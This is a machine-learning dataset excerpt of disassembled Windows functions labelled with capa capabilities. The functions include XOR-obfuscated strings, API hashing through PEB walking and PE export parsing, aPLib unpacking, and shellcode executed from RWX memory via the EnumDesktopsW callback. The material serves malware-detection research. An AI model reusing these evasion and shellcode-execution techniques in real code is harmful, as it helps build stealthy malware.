joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800b22e8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, qword [0x1800c7fb0]
mov rbx, qword [0x1800c7fa8]
jmp 0x18006e8db
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 8]
add rbx, 8
cmp rbx, rdi
jne 0x18006e8ce
lea rcx, [0x1800c7010]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x1800b22e8
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov word [rsp + 0x30], 0x3345
xor r8d, r8d
lea r9, [rsp + 0x30]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
mov al, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9], al
inc r9
cmp r8d, 2
jl 0x1800b2304
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x1800b2338
mov rcx, qword [rbx]
lea rdx, [rsp + 0x30]
call fcn.1800c1258
mov rdi, rax
test rax, rax
je 0x1800b2371
lea rcx, [rbx + 0x20]
cmp qword [rcx + 0x18], 0xf
jbe 0x1800b2358
mov rcx, qword [rcx]
mov r8, qword [rbx + 0x30]
mov r9, rdi
mov edx, 1
call fcn.1800c14fc
mov rcx, rdi
call fcn.1800c1068
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800b4470
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
xor edi, edi
mov dword [rbp + 0x1f8], 0x12c
xor r8d, r8d
mov dword [rbp + 0x200], edi
xor edx, edx
mov ecx, 0x91406bfe
call fcn.1800c1c00
mov rcx, rax
call fcn.1800c2414
lea r9, [rbp + 0x1f8]
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x200]
lea ecx, [rdi + 8]
call rax
xorps xmm0, xmm0
lea rax, [rsp + 0x50]
xorps xmm1, xmm1
or r15, 0xffffffffffffffff
movups xmmword [rsp + 0x30], xmm0
mov r8, r15
movdqu xmmword [rsp + 0x40], xmm1
inc r8
cmp word [rax + r8*2], di
jne 0x1800b44e8
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.180029870
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x30]
mov rsi, qword [rsp + 0x48]
lea r8, [rsp + 0x30]
mov r14, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
cmp rsi, 7
cmova rax, rbx
cmova r8, rbx
cmova r9, rbx
lea rax, [rax + r14*2]
cmp r8, rax
je 0x1800b4571
sub r9, r8
movzx ecx, word [r8]
movzx edx, word [r8]
sub cx, 0x41
add dx, 0x20
cmp cx, 0x19
cmova dx, word [r8]
mov word [r9 + r8], dx
add r8, 2
cmp r8, rax
jne 0x1800b453b
mov rsi, qword [rsp + 0x48]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
mov r12d, 0x34
mov dword [rbp + 0x208], 0x5d0051
mov word [rbp + 0x20c], r12w
lea r9, [rbp + 0x208]
mov r8d, edi
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x32
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 3
jl 0x1800b4593
lea rcx, [rbp + 0x208]
mov rax, r15
inc rax
cmp word [rcx + rax*2], di
jne 0x1800b45ca
cmp rsi, 7
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
mov rdx, r14
cmova rcx, rbx
lea r9, [rbp + 0x208]
xor r8d, r8d
call fcn.1800b2470
cmp rax, r15
jne 0x1800b4685
mov dword [rbp + 0x208], 0x5b0048
lea r9, [rbp + 0x208]
mov word [rbp + 0x20c], r12w
mov r8d, edi
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x32
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 3
jl 0x1800b461c
lea rcx, [rbp + 0x208]
mov rax, r15
inc rax
cmp word [rcx + rax*2], di
jne 0x1800b4653
cmp rsi, 7
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
mov rdx, r14
cmova rcx, rbx
lea r9, [rbp + 0x208]
xor r8d, r8d
call fcn.1800b2470
cmp rax, r15
je 0x1800b4688
mov dil, 1
cmp rsi, 7
jbe 0x1800b46bf
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1800b46b7
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b46d4
mov rcx, rbx
call fcn.1800bf340
mov al, dil
add rsp, 0x2b0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180089708
int3
Function at 0x1800b747c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
xor r9d, r9d
movabs r8, 0xcbf29ce484222325
test rdx, rdx
je 0x1800b74ac
movzx eax, byte [rcx + r9]
movabs r10, 0x100000001b3
xor r8, rax
inc r9
imul r8, r10
cmp r9, rdx
jb 0x1800b748e
mov rax, r8
ret
Function at 0x1800bff68
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x158]
sub rsp, 0x250
or rdi, 0xffffffffffffffff
mov r14, rdx
mov r8, rdi
xor ebx, ebx
mov rsi, rcx
inc r8
cmp word [rcx + r8*2], bx
jne 0x1800bff99
cmp word [rcx + r8*2 - 2], 0x24
jne 0x1800bfff6
mov eax, 0x36
mov dword [rsp + 0x30], 0xc006e
mov word [rsp + 0x38], ax
lea r9, [rsp + 0x30]
mov dword [rsp + 0x34], 0x69000b
mov eax, 0x8d3dcb09
mul ebx
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x32
xor word [r9], ax
lea r9, [r9 + 2]
cmp ebx, 5
jl 0x1800bffcb
jmp 0x1800c004b
cmp word [rcx], 0x5c
je 0x1800c006c
cmp word [rcx + 2], 0x3a
jne 0x1800c006c
mov eax, 0x36
mov dword [rsp + 0x30], 0xc006e
mov word [rsp + 0x38], ax
lea r9, [rsp + 0x30]
mov dword [rsp + 0x34], 0x69000b
mov eax, 0x8d3dcb09
mul ebx
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x32
xor word [r9], ax
lea r9, [r9 + 2]
cmp ebx, 5
jl 0x1800c0022
mov rax, qword [rsp + 0x30]
lea r8, [r8*2 + 2]
lea rcx, [r14 + 8]
mov qword [r14], rax
mov rdx, rsi
call fcn.1800c16a0
jmp 0x1800c0147
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x200
call fcn.1800c16c4
lea rdx, [rsp + 0x50]
mov ecx, 0x100
call fcn.1800c0844
lea rax, [rsp + 0x50]
inc rdi
cmp word [rax + rdi*2], bx
jne 0x1800c0092
cmp rdi, 1
jbe 0x1800c0147
cmp word [rsp + rdi*2 + 0x4e], 0x5c
jne 0x1800c00b2
mov word [rsp + rdi*2 + 0x4e], bx
cmp word [rsi], 0x5c
lea rax, [0x18000cd00]
mov r9d, 0xb
mov dword [rsp + 0x3a], 0xc006e
lea r10, [0x18000cd04]
mov dword [rsp + 0x3e], 0x69000b
cmove r10, rax
mov dword [rsp + 0x42], 0x440013
mov dword [rsp + 0x46], 0x4a001d
lea r8, [rsp + 0x3a]
lea eax, [r9 + 0x31]
mov dword [rsp + 0x4a], 0x48001f
mov word [rsp + 0x4e], ax
mov eax, 0x8d3dcb09
mul ebx
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x32
xor word [r8], ax
lea r8, [r8 + 2]
cmp ebx, r9d
jl 0x1800c0104
mov r9, r10
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x50]
mov rcx, r14
lea rdx, [rsp + 0x3a]
call fcn.1800c0434
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x1800c0844
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rdx
xor ebp, ebp
mov rdx, qword [rax + 0x20]
test rdx, rdx
je 0x1800c0894
movzx edi, word [rdx + 0x38]
shr edi, 1
cmp edi, ecx
ja 0x1800c0894
mov rdx, qword [rdx + 0x40]
lea rbx, [rdi + rdi]
mov r8, rbx
mov rcx, rsi
call fcn.1800c16a0
mov eax, edi
mov word [rbx + rsi], bp
jmp 0x1800c0896
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800c1258
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rdi, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x200
call fcn.1800c16c4
xor ebx, ebx
mov dword [rbp + 0x190], 0x600017
mov r13d, 0x34
lea r9, [rbp + 0x190]
mov r8d, ebx
mov word [rbp + 0x194], r13w
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x32
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 3
jl 0x1800c12b5
mov r8, rsi
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x50]
call fcn.1800c0434
xorps xmm0, xmm0
mov dword [rbp + 0x190], 0x600017
xor eax, eax
mov word [rbp + 0x194], r13w
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x40], rax
lea r8, [rbp + 0x190]
movups xmmword [rsp + 0x30], xmm0
mov eax, 0x8d3dcb09
mul ebx
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x32
xor word [r8], ax
lea r8, [r8 + 2]
cmp ebx, 3
jl 0x1800c1323
mov r8, rdi
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x20]
call fcn.1800c0434
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1800c0918
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret

Function at 0x1800c1628
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.1800bc5e4
mov rcx, rax
mov r8, rbx
xor edx, edx
add rsp, 0x20
pop rbx
jmp fcn.1800bc5ec

Function at 0x1800c1aec
Capabilities:
Access peb ldr_data
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword gs:[0x30]
mov bpl, dl
mov esi, ecx
mov r8, qword [rax + 0x60]
mov rdi, qword [r8 + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
jmp 0x1800c1ba5
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x64]
call fcn.1800c16c4
movzx r11d, word [rbx + 0x48]
xor r10d, r10d
shr r11, 1
add r11, 0xfffffffffffffffc
je 0x1800c1b76
mov r9, qword [rbx + 0x50]
movzx edx, word [r9]
lea r9, [r9 + 2]
movzx r8d, dl
sub dx, 0x41
cmp dx, 0x19
lea eax, [r8 + 0x20]
movzx ecx, al
cmova ecx, r8d
mov byte [rsp + r10 + 0x20], cl
inc r10
cmp r10, r11
jne 0x1800c1b4a
test esi, esi
je 0x1800c1bc9
mov al, byte [rsp + 0x20]
lea rdx, [rsp + 0x20]
mov ecx, 0x84222325
jmp 0x1800c1b9a
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1b3
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1800c1b8a
cmp esi, ecx
je 0x1800c1bc9
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x1800c1b25
xor eax, eax
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
test bpl, bpl
je 0x1800c1bfa
mov rcx, qword [rbx - 0x10]
mov rax, qword [rbx - 8]
mov qword [rcx + 8], rax
mov rcx, qword [rbx - 8]
mov rax, qword [rbx - 0x10]
mov qword [rcx], rax
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
mov rcx, qword [rbx + 8]
mov rax, qword [rbx]
mov qword [rcx], rax
mov rax, qword [rbx + 0x20]
jmp 0x1800c1bb0
Function at 0x1800c1c00
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov bpl, r8b
mov rsi, rdx
mov r14d, ecx
mov r9, qword [rax + 0x60]
mov rdi, qword [r9 + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
jmp 0x1800c1c58
mov rcx, qword [rbx + 0x20]
cmp rsi, rcx
je 0x1800c1c55
mov r8b, bpl
mov edx, r14d
call fcn.1800c1c7c
test rax, rax
jne 0x1800c1c5f
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x1800c1c3c
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1800c2020
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x430
mov rax, qword [rcx + 0x10]
mov r15d, r8d
mov rbx, rdx
mov rsi, rcx
mov ebp, 0x200
test rax, rax
je 0x1800c2135
lea rdi, [rax + 0x90]
test rdi, rdi
je 0x1800c2135
test r8d, r8d
je 0x1800c2135
mov r8d, ebp
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.1800c16c4
mov r8d, ebp
lea rcx, [rsp + 0x220]
xor edx, edx
call fcn.1800c16c4
mov r8d, dword [rdi]
and qword [rsp + 0x420], 0
mov rsi, qword [rsi]
add r8, rsi
je 0x1800c2135
mov rcx, rsi
mov r12d, 8
cmp dword [r8 + 0xc], 0
je 0x1800c2130
mov edx, dword [r8 + 0xc]
add rdx, rcx
je 0x1800c212b
mov r10d, dword [r8]
mov ebp, 0
mov rax, rcx
add r10, rcx
je 0x1800c2124
mov r9, qword [r10]
test r9, r9
je 0x1800c2124
mov rax, rcx
add r9, rcx
je 0x1800c211c
add r9, 2
mov r14d, 0x84222325
mov r11, r9
mov dil, byte [r9]
test dil, dil
je 0x1800c2117
inc r11
movsx eax, dil
xor eax, r14d
imul r14d, eax, 0x1b3
mov dil, byte [r11]
test dil, dil
jne 0x1800c20fb
mov rax, rsi
cmp r14d, r15d
je 0x1800c2180
inc rbp
add r10, r12
jne 0x1800c20d6
add r8, 0x14
mov rcx, rax
test r8, r8
jne 0x1800c20b6
mov ebp, 0x200
mov r8, rbp
xor edx, edx
mov rcx, rbx
call fcn.1800c16c4
lea rcx, [rbx + 0x200]
mov r8, rbp
xor edx, edx
call fcn.1800c16c4
and qword [rbx + 0x400], 0
lea r11, [rsp + 0x430]
mov rax, rbx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
lea rcx, [rsp + 0x20]
sub rcx, rdx
mov al, byte [rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x1800c2188
lea rcx, [rsp + 0x220]
sub rcx, r9
mov al, byte [r9]
mov byte [rcx + r9], al
inc r9
test al, al
jne 0x1800c219f
mov ecx, dword [r8 + 0x10]
mov edx, 0x80
add rcx, rsi
lea rax, [rcx + rbp*8]
mov rcx, rbx
mov qword [rsp + 0x420], rax
lea rax, [rsp + 0x20]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
add rax, rdx
movups xmmword [rcx + 0x60], xmm0
add rcx, rdx
movups xmmword [rcx - 0x10], xmm1
sub r12, 1
jne 0x1800c21cd
mov rax, qword [rax]
mov qword [rcx], rax
jmp 0x1800c215b

Function at 0x1800c2224
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
test rcx, rcx
je 0x1800c2247
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800c2247
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
cmovne rax, rdx
ret
xor eax, eax
ret
Function at 0x1800c2294
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov edi, edx
mov bl, r8b
xor edx, edx
call fcn.1800c1aec
mov r8b, bl
mov edx, edi
mov rcx, rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1800c1c7c

Function at 0x14136c058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14136c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14136c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14136c06f
add dl, dl
jne 0x14136c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14136c0f6
xor eax, eax
add dl, dl
jne 0x14136c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14136c1ad
add dl, dl
jne 0x14136c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14136c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14136c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14136c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14136c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14136c07e
mov eax, 1
add dl, dl
jne 0x14136c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14136c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14136c0fb
sub eax, ebx
mov ebx, 1
jne 0x14136c14c
mov ecx, 1
add dl, dl
jne 0x14136c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14136c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14136c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14136c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14136c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14136c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14136c15d
cmp eax, 0x7d00
jae 0x14136c19b
cmp eax, 0x500
jb 0x14136c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14136c07e
cmp eax, 0x7f
ja 0x14136c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14136c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14136c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14136c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x402d4e
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [0x0042e1c0]
test rax, rax
je 0x402d61
call rax
mov ecx, 2
call qword [fcn.0041aca0]
mov r8d, 0xe
mov edx, 1
lea rcx, str.out_of_memory_n
mov rbx, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, rbx
call sub.msvcrt.dll_fflush
mov ecx, 1
call sub.msvcrt.dll_exit
nop
Function at 0x40a9a0
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
sub rsp, 0x38
movaps xmm0, xmmword [0x00425490]
lea rcx, [rsp + 0x20]
movaps xmmword [rsp + 0x20], xmm0
call fcn.0040a37e
nop
add rsp, 0x38
ret
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r9d, 0x40
mov r8d, 0x1000
mov rsi, rdx
mov rdi, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_memmove
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsW]
nop
sub rsp, 0x28
call fcn.00402bf0
nop
add rsp, 0x28
jmp 0x40a97c

Function at 0x414670
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0042e804]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4147f8
mov rax, qword [0x0042e808]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x4146bc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x414745
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x4146a0
mov rcx, rbx
call fcn.00415310
test rax, rax
mov r12, rax
je 0x41482d
mov rax, qword [0x0042e808]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00415440
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0042e808]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x414810
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x41473e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x4147a0
add dword [0x0042e804], 1
cmp edi, 8
jae 0x414773
test dil, 4
jne 0x4147e4
test edi, edi
je 0x414768
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4147ff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x414768
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x41478c
jmp 0x414768
add rsi, qword [0x0042e808]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x41473e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.004225c0
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x414768
xor esi, esi
jmp 0x4146c7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x414768
mov rax, qword [0x0042e808]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.004225c0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.004225c0
nop
nop dword [rax]
Function at 0x414f80
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0042eae0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0042eac0]
test rbx, rbx
je 0x414fd4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x414fcb
test rsi, rsi
je 0x414fcb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x414fb0
lea rcx, [0x0042eae0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x415310
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00428580]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x41537d
mov rcx, r8
call fcn.004151f0
test eax, eax
je 0x41537d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x41537d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x415374
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x41537f
add rax, 0x28
cmp rax, r9
jne 0x415360
xor eax, eax
add rsp, 0x28
ret

Function at 0x41b4c0
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x004235f8], eax
je 0x41b4da
add rsp, 0x28
ret
call sub.msvcrt.dll_abort
nop

Function at 0x41b9e0
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
test rcx, rcx
mov rbx, rcx
je 0x41ba03
call fcn.0041e720
cmp eax, 1
je 0x41ba0e
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x90
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
xor eax, eax
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x48]
mov ecx, 0x43
rep stosb byte [rdi], al
lea rbx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rbx + 0x27]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x41ba85
mov eax, 0x28
jmp 0x41ba6a
add rax, 1
cmp rax, 0x6b
je 0x41ba77
cmp byte [rbx + rax], 0
mov edx, eax
jne 0x41ba60
cmp eax, 0x6a
jne 0x41ba8a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov edx, 0x27
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0xa
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rax + 0x20], 0
jmp 0x41ba77